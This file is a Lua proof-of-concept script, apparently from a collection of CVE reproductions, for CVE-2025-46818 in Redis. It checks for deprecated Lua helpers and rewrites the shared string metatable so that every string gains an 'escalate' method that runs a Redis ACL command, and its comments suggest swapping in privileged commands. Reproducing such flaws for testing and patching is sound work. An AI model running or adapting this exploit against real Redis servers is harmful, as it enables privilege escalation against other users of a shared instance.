2025/CVE-2025-46818/CVE-2025-46818.lua
-- CVE-2025-46818 repro: mutate basic-type metatables and use deprecated APIs.
-- Usage: redis-cli -h localhost -p 6379 --eval CVE-2025-46818.lua

-- Verify the deprecated helpers are still reachable (they disappear once the
-- lua-enable-deprecated-api gate is enforced in Redis ≥ 8.2.2).
local has_getfenv = getfenv ~= nil
local has_setfenv = setfenv ~= nil
local has_newproxy = newproxy ~= nil

local report = {
	string.format("getfenv available: %s", tostring(has_getfenv)),
	string.format("setfenv available: %s", tostring(has_setfenv)),
	string.format("newproxy available: %s", tostring(has_newproxy))
}

-- Hijack the shared string metatable so every string gains a new method. In a
-- multi-user environment this lets an unprivileged actor inject helpers that
-- privileged scripts will subsequently inherit.
local mt = getmetatable("")
if not mt then
	table.insert(report, "string metatable not found (unexpected on Redis Lua)")
else
	local original_index = mt.__index
	mt.__index = function(_, key)
		if key == "escalate" then
			-- Demonstrate we can execute privileged commands from the hijacked
			-- context by wrapping redis.pcall. Replace with CONFIG GET, ACL
			-- WHOAMI, etc. once a privileged function is available.
			return function()
				return redis.pcall('ACL', 'WHOAMI')
			end
		end
		if type(original_index) == "function" then
			return original_index(_, key)
		elseif type(original_index) == "table" then
			return original_index[key]
		end
	end
	table.insert(report, "string metatable successfully patched; call ('test').escalate()")
end

return report
